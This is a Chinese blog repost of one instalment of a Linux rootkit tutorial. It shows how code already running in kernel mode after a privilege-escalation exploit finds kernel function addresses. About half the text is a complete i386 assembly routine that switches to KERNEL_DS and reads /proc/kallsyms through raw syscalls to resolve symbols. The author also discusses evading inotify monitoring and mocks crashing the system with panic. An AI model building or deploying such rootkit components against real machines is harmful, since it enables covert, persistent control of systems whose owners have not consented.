您的位置:首页 > 运维架构 > Linux

[zz]rootkit for linux 2.寻找入口点

2010-08-28 22:18 330 查看
2008-12-06 16:22
世上的牛人真是多,今天又见识了一位
技术文章写得如此幽默 易懂,真是太牛了(相比之下我太菜了)
ring3下直接得到内核符号地址,这样rootkits就可以脱离LKM方式了,
可是我居然还没有学汇编 ,fuck这学校
这个冬天该好好把那几本kernel砖头捧读下,自学下x86汇编,我的水平太烂

原文 http://blog.csdn.net/varg_vikernes/archive/2008/11/08/3254821.aspx 作者:varg_vikernes

rootkit for linux 2.寻找入口点

很多人都学汇编。什么是eip他背得倍儿熟。但是你问他怎么把eip的值传给eax,他会毫不犹豫的说“mov eax, eip”。

很多人都学操作系统。什么是内存管理他背得倍儿熟。但是你打开linux-2.6.18的文件夹,他会指着那个mm文件夹说“那个是啥,快打开,里面有mm照片么?”

于是,在填鸭式的学习中,我们习惯于湮没在老师的无数唾沫里,湮没在书本的无数概念里,湮没在课堂的无数瞌睡里,湮没在宿舍的无数盘dota里。直 到有一天,你发现用asp.net,c#,java,vb都无法写出你想要的shellcode时,你恍然大悟,众里寻她千百度,那人却在灯火阑珊处。你 所追随的她,是被你曾经抛弃的操作系统和汇编。

好了扯淡完毕。先回答上一节的问题。其实这个漏洞只用来做提权实在是大材小用了。作者写一个漏洞利用程序只是个示范而已,不是让骇客们真的拿去提权。而是让我们自己扩充它,实现自己的功能,实现自己的rootkit。

我们来到ring0下面后,那是手无寸铁啊。平常你写内核模块的时候,有啥函数直接拿来用就是了,但是现在不行。你身处一个如此荒凉的地方,你能获 得的只有当前进程的task_struct。而这个也不靠谱,因为各个版本的linux,各种各样的内核设置,导致这个结构里特定成员的偏移都有可能不一 样。所以我们就丢开这个不管了。

怎样获得内核函数地址?这是个问题。如果你不获得函数地址,就啥也做不了。就好比搞自杀式袭击的,到了目的地,发现炸弹不见了,那也只能喝杯咖啡,然后再返回基地组织。

在内核模块中,通过函数名字获取函数地址用的是kallsyms_lookup_name。但现在你连kallsyms_lookup_name这个函数的地址都不知道。我们先来看看这个函数的实现:

kallsyms_lookup_name()

/* Lookup the address for this symbol. Returns 0 if not found. */

unsigned long kallsyms_lookup_name(const char *name)

{

char namebuf[KSYM_NAME_LEN];

unsigned long i;

unsigned int off;

for (i = 0, off = 0; i < kallsyms_num_syms; i++) {

off = kallsyms_expand_symbol(off, namebuf);

if (strcmp(namebuf, name) == 0)

return kallsyms_addresses[i];

}

return module_kallsyms_lookup_name(name);

}

kallsyms_lookup_name() -> kallsyms_expand_symbol()

/* expand a compressed symbol data into the resulting uncompressed string,

given the offset to where the symbol is in the compressed stream */

static unsigned int kallsyms_expand_symbol(unsigned int off, char *result)

{

int len, skipped_first = 0;

const u8 *tptr, *data;

/* get the compressed symbol length from the first symbol byte */

data = &kallsyms_names[off];

len = *data;

data++;

/* update the offset to return the offset for the next symbol on

* the compressed stream */

off += len + 1;

/* for every byte on the compressed symbol data, copy the table

entry for that byte */

while(len) {

tptr = &kallsyms_token_table[ kallsyms_token_index[*data] ];

data++;

len--;

while (*tptr) {

if(skipped_first) {

*result = *tptr;

result++;

} else

skipped_first = 1;

tptr++;

}

}

*result = '/0';

/* return to offset to the next symbol */

return off;

看清楚没?

kallsyms_names 这个数组里的内容是 len0, idx0_0, idx0_1, idx0_2 ... len1, idx1_0, idx1_1 ....

得到一系列idx后,

把idx0_0带入kallsyms_token_table[ kallsyms_token_index[] ]里,找到第一个字符串。
把idx0_1带入,找到第二个字符串。
把idx0_n带入,其中n为len0-1,找到最后一个字符串。
把所有的字符串连起来,就是第一个内核符号的名字。
这样,把所有的内核符号名字按顺序都获取一次,与传入的参数比较,如果相等,就返回对应的地址。
这是用的一种压缩算法,可以减少内核符号表占用的空间。
编译内核的时候,源码树中script/kallsyms.c这个程序生成了内核符号表的汇编源码,链接完后,内核的镜像里就有了符号表。你可以在kernel/kallsyms.c中找到定义

/* These will be re-linked against their real values during the second link stage */

extern const unsigned long kallsyms_addresses[] __attribute__((weak));

extern const u8 kallsyms_names[] __attribute__((weak));

但是你找不到kallsyms_addresses和kallsyms_names的定义在哪里。因为编译过程中,script/kallsyms.c生成的内核符号表的汇编源码放在/tmp目录下,用完就删了,你当然找不到。

上面分析的过程看不懂没关系,只要明白一个道理:写kallsyms.c的程序员是很欠抽的。
在当今1G硬盘不需要1块钱,1G内存只要几十块钱的时代,你为了节省那么点空间,写了这么欠抽的代码出来,内核符号表再大,有你硬盘里的松岛枫毛片大吗,有你硬盘里的陈冠希艳照多吗?你这样写,知不知道有什么后果?所以,我们不能通过“暴搜”的方法找到内核符号表。

其实,内核符号表在/proc/kallsyms中是可以看到的。所以,我们通过读/proc/kallsyms可以读出所有的内核符号和地址。你可能会说,那我们刚刚还看kallsyms_lookup_name干啥?不是浪费时间么?
不 是的,读/proc/kallsyms毕竟是有点低劣的方法,因为要读你也只能用系统调用去读,目前你还不能越过系统调用直接去读proc entry的。如果用系统调用去读/proc/kallsyms那就必定要经过那一套操作系统的检测流程。在vfs_read里有这样的代码:

count = ret;

ret = security_file_permission (file, MAY_READ);

if (!ret) {

if (file->f_op->read)

ret = file->f_op->read(file, buf, count, pos);

else

ret = do_sync_read(file, buf, count, pos);

if (ret > 0) {

fsnotify_access(file->f_path.dentry);

add_rchar(current, ret);

你看看,你要经过两大关。
第一关是security_file_permission。这个函数看名字都知道它是干嘛的了。是rootkit最讨厌的东西。不过所幸内核的默认设置是允许读/proc/kallsyms的。而这个文件,ring3下的普通用户也有读的权限。
第 二关是fsnotify_access。这函数来自于文件系统的inotify 机制,这机制基于inode,一般都是在inode被读,被写等等时候给关注这个事件的人一个信号“这个inode被读/写了”,简单的说就是这样。最麻 烦的是,这个机制是给ring3下的进程用的。所以,如果有一个进程注册了inotify,并关注/proc/kallsyms。那你就露馅了。

这方法有一定的危险性。
不过我在google上搜了很久也没搜出来有没啥更好的方法,如果有好的方法,迫切希望有人能告诉我。

另外还有一个“偏方”能读到搞到内核符号表。
比如很多人都没删除“System.map-xxx”这个文件,其实这个文件就是内核符号表,与/proc/kallsyms不同的是,它不包括模块的符号表,如果找到了这个文件,确定它是与现在内核一起编译生成的(这样才配套),用它也成。
但这个偏方要你在ring3下操作,还挺不靠谱的。

所以啊,我们有时候不要追求得太高了。你喜欢喝牛奶,但没有牛奶的时候你还得和水。没有水的时候你还得喝。。算了不说了。

如果你在ring3下用过系统调用,那现在在ring0下读/proc/kallsyms的过程也是类似的,只不过要把ds设置为kernel_ds,这样sys_read函数就不检查参数的地址了,直接读。
代码如下:

.text

.globl ksym_lookup

.globl filepath

filepath: .asciz "/proc/kallsyms"

FD = 0

BUF = 4

SAVEDS = 1020

FNLEN = 1024

FN = 1028

SSZ = 1032

ksym_lookup:

pushl %ebp

pushl %esi

pushl %edi

pushl %ecx

pushl %ebx

subl $SSZ, %esp

movl %eax, FN(%esp)

movl %edx, FNLEN(%esp)

# set KERNEL_DS

movl %esp, %eax

andl $0xffffe000, %eax

movl 0x18(%eax), %ebx

movl %ebx, SAVEDS(%esp)

movl $0xffffffff, 0x18(%eax)

# open("/proc/kallsyms", O_RDONLY, 0);

movl $5, %eax

call 1f

1: pop %ebx

subl $(1b - filepath), %ebx

xorl %ecx, %ecx

xorl %edx, %edx

int $0x80

testl %eax, %eax

js out

movl %eax, FD(%esp)

leal BUF(%esp), %ecx

getch_repeat:

# read(fd, ecx, 1);

movl $3, %eax

movl FD(%esp), %ebx

movl $1, %edx

int $0x80

cmpl $1, %eax

jnz out_close

cmpb $'/n', (%ecx)

jz newline

incl %ecx

jmp getch_repeat

# when a '/n' is read, start parse a new line

newline:

# skip ' ' in output line 'c01xxxx T funcname'

leal BUF(%esp), %esi

movl $2, %ebp

1:

cmpb $' ', (%esi)

jnz 2f

decl %ebp

jz 3f

2:

incl %esi

cmpl %ecx, %esi

jl 1b

jmp newline_out

3:

# cmp str between function name in output line and 'kallsyms_lookup_name'

incl %esi

movl FN(%esp), %edi

movl %ecx, %eax

subl %esi, %eax

movl FNLEN(%esp), %ecx

cmpl %eax, %ecx

jae 1f

movl %eax, %ecx

1:

incl %ecx

cld

repz cmpsb

testl %ecx, %ecx

jnz newline_out

# convert the address from str to ulong. saved in eax

leal BUF(%esp), %esi

xorl %eax, %eax

1:

movb (%esi), %bl

cmpb $' ', %bl

jz 4f

cmpb $'a', %bl

jl 2f

subb $('a' - 10), %bl

jmp 3f

2:

subb $'0', %bl

3:

andb $0x0F, %bl

shl $4, %eax

movb %al, %cl

andb $0xF0, %cl

orb %bl, %cl

movb %cl, %al

incl %esi

jmp 1b

4:

# successfully convert address !!

jmp out_close

newline_out:

leal BUF(%esp), %ecx

jmp getch_repeat

out_close:

pushl %eax

movl $6, %eax

movl FD(%esp), %ebx

int $0x80

popl %eax

out:

movl %esp, %ebx

andl $0xffffe000, %ebx

movl SAVEDS(%esp), %ecx

movl %ecx, 0x18(%ebx)

addl $SSZ, %esp

popl %ebx

popl %ecx

popl %edi

popl %esi

popl %ebp

ret

这段代码有个bug,在比较字符串的地方。/proc/kallsyms输出的格式,对于模块里的符号,会在最后面加一个“[模块名]”。
所以不能用这段代码找模块里的函数。大家要用自己改吧。我也懒得改了,反正我一开始不用找内核里的函数。
好了,那现在,你就可以找到大部分函数了,少部分未导出的找不到,但也够你用的了。

你说现在干啥呢?

有人说“我想搞破坏!”。
好,那你就搜索panic函数。然后panic("hey, your system is fucked!! hacked by xxx/n");
看系统被你panic了。靠,你太伟大了,我们搞了这么半天就是没让系统panic,你一下子就让系统panic了!那后面的文章你也不用看了,因为系统已经panic了,秘密行动失败了,你也知道有啥后果吧。

有人说“我想做rootkit”
好,那下一节的内容你可能会很感兴趣。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: